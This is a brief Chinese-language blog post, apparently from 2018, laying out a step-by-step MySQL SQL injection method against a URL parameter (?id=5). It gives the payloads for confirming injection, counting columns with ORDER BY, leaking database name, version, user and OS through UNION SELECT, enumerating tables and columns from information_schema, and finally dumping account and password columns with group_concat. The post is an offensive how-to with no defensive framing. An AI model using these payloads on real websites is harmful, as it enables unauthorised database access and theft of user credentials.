SQL注入之MySQL注入

2018-08-14  本文已影响0人  冰与河豚鱼

1.判断注入
and 1=1 返回正常
and 1=2 返回不正常 存在注入点
或:or 1=1 返回不正常
or 1=2 返回正常 存在注入点

2.判断字段长度
order by xx
order by 21 正常
order by 22 不正常
说明长度为21

3.报错
http://... ?id=5 UNION SELECT 1,2,3,4,5,6,8...(字段长度) from information_schema.tables
(id=-5 前面加负号)
然后再报错的数字上加一些函数,然后报一些信息。

4.报基本信息
database() 数据库名
version() 数据库版本
user() 数据库用户
@@version_compile_os 操作系统
例如:UNION SELECT 1,user(),3,4,5...(字段长度)

5.找用户表名
union select 1,group_concat(table_name),3,4,...(字段长度) from information_schema.tables where table_schema=数据库名称转化的16进制数

6.找用户表中列名
union select 1,group_concat(column_name),3,4,...(字段长度) from information_schema.columns where table_name=表名转化的16进制数
(拿到之后,查看源代码取出列名)

7.拿账号密码
union select 1,group_concat(账号列名,0x5c,密码列名),3,4,...(字段长度) from 用户表名

上一篇下一篇

猜你喜欢

热点阅读